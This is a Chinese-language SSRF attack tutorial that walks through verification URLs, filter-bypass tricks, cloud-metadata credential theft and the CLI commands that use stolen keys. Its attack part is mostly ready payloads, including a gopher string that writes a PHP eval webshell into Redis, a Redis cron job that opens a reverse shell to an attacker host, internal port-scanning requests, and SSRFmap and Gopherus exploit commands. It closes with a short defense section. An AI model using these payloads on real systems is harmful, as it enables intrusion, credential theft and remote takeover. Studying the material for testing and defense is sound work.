SSRF 服务端请求伪造实战
SSRF(Server-Side Request Forgery)让服务器代替攻击者发起请求,常用于内网探测、云服务凭证窃取。
一、SSRF 形成原因
服务端从用户输入获取 URL 并发起请求,未做严格过滤:
PYTHON
# Python 危险代码
import requests
url = request.GET['url']
return requests.get(url).text
二、SSRF 危害
- 内网端口扫描
- 读取本地文件:
file:///etc/passwd - 访问云服务元数据:AWS / 阿里云 / 腾讯云 IAM 凭证
- 攻击内网应用:未授权 Redis、Elasticsearch、FastCGI
- 绕过访问控制:127.0.0.1 鉴权绕过
- 攻击内部 API:/actuator、/admin、/phpmyadmin
三、常见出现位置
- 图片加载:
?url=http://attacker.com/load.jpg - 短链接生成
- 网页翻译 / 收藏功能
- 在线 PDF 转 Word
- 文章采集、URL 预览
- 头像加载、远程附件下载
- 服务器 Webhook 回调地址
- OAuth 2.0 callback URL
四、SSRF 验证
HTTP
# 1. 外网 DNSLog
http://target.com/fetch?url=http://xxx.dnslog.cn
# 2. file:// 协议
http://target.com/fetch?url=file:///etc/passwd
http://target.com/fetch?url=file:///c:/windows/win.ini
# 3. dict / gopher
http://target.com/fetch?url=dict://127.0.0.1:6379/info
http://target.com/fetch?url=gopher://127.0.0.1:6379/_INFO%0D%0AQUIT
五、绕过协议限制
1. URL 解析差异
CODE
http://evil.com@127.0.0.1/ # 实际请求 127.0.0.1
http://127.0.0.1.evil.com/ # 部分解析器视作 127.0.0.1
http://127.0.0.1#.evil.com/ # 锚点后忽略
http://127.0.0.1?.evil.com/
http://0x7f000001/ # 十六进制
http://2130706433/ # 十进制
http://0177.0.0.1/ # 八进制
http://[::1]/ # IPv6
http://①②⑦.⓪.⓪.①/ # Unicode 字符
http://127。0。0。1/ # 中文句号
http://127.0.0.1.nip.io/ # DNS 解析到 127.0.0.1
http://localtest.me/ # DNS 解析到 127.0.0.1
2. URL 重定向绕过
PYTHON
# 搭建一个 302 跳转服务
# GET /redirect?url=http://169.254.169.254/ → Location: ...
3. 协议白名单绕过
BASH
# 限制为 http/https,可尝试:
gopher:// # 几乎万能
dict:// # 探测 Redis
ldap://
ftp://
tftp://
netdoc:// # Java
jar:// # Java
六、SSRF 攻击 Redis(经典)
1. dict 协议探测
CODE
http://target.com/fetch?url=dict://127.0.0.1:6379/info
2. gopher 协议写入 WebShell
CODE
# CRLF 编码
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$28%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bc%5D%29%3B%3F%3E%0A%0A%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$13%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A*1%0D%0A$4%0D%0Aquit%0D%0A
3. Redis 计划任务反弹 Shell
CODE
*3
$3
set
$1
1
$36
* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1
$4
save
$4
quit
4. SSRF 攻击 MySQL(gopher)
BASH
# MySQL 客户端握手 + 认证 + 读取文件
gopher://127.0.0.1:3306/_%a3%00%00%01... (MySQL 客户端握手包)
5. SSRF 攻击 FastCGI(PHP-FPM)
BASH
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# 构造 FastCGI 包设置 PHP_VALUE 执行命令
七、SSRF 攻击云元数据
1. AWS EC2
CODE
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
2. 阿里云
CODE
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/
3. 腾讯云
CODE
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
http://metadata.tencentyun.com/latest/meta-data/
4. Google Cloud
CODE
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# 需要 header: Metadata-Flavor: Google
5. Azure
CODE
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# 需要 header: Metadata: true
取得 AKID 后,使用 CLI 操作云资源:
BASH
# AWS
aws configure set aws_access_key_id AKIDxxxx
aws s3 ls
# 阿里云
aliyun configure set --profile x --access-key-id AKID --access-key-secret xx
aliyun ecs DescribeInstances
八、SSRF 攻击内网应用
BASH
# 探测内网端口
http://target.com/fetch?url=http://192.168.0.1:8080/
http://target.com/fetch?url=http://10.0.0.1:22/ (超时=端口关闭)
# 攻击内网 Web
http://target.com/fetch?url=http://192.168.0.1/manager/html
# 攻击内网 Elasticsearch
http://target.com/fetch?url=http://192.168.0.1:9200/_cat/indices
# 攻击内网 Jenkins
http://target.com/fetch?url=http://192.168.0.1:8080/script
# 攻击内网 Consul
http://target.com/fetch?url=http://192.168.0.1:8500/v1/kv/?keys
九、DNS 重绑(DNS Rebinding)
DNS 重绑可绕过 IP 黑名单:
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
BASH
# 工具:https://github.com/taviso/rbndr
# 或使用在线服务:https://lock.cmpxchg8b.com/rebinder.html
十、工具
- SSRFmapBASH
python3 ssrfmap.py -r request.txt -p url -m readfiles python3 ssrfmap.py -r request.txt -p url -m portscan - Gopherus:生成 gopher 协议 payloadBASH
python3 gopherus.py --exploit redis python3 gopherus.py --exploit mysql python3 gopherus.py --exploit fastcgi
十一、SSRF 防御
- 协议白名单:仅允许 http/https
- URL 解析一致性:用
urllib.parse而不是字符串匹配 - DNS Rebinding 防护:请求时再解析一次 IP,校验是否合法
- 内网 IP 黑名单:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- 127.0.0.0/8
- 169.254.0.0/16
- 0.0.0.0/8
- 返回内容过滤:避免 30x 跳转、协议降级
- 禁止额外协议:不仅禁
file://,还要禁gopher://、dict://、ftp://
十二、实战经验
- 识别 SSRF 看 URL 参数:
url=、image=、source=、dest=、redirect=、callback=。 - gopher 万能协议:可以打 MySQL、Redis、Memcache、FastCGI、SMTP 等几乎所有 TCP 服务。
- AWS 元数据是金矿:拿到 AKID 基本可以拿到全部 EC2 权限,甚至跨账号。
- 后渗透离不开 SSRF:从公网 Web 突破后,SSRF 是进内网的最短路径。
- DNS 重绑是终极武器:当 IP 黑名单和协议白名单都失效时,DNS 重绑仍然可用。
- 关注 CRLF 注入:部分 SSRF 库支持 HTTP 头注入,可进一步操作。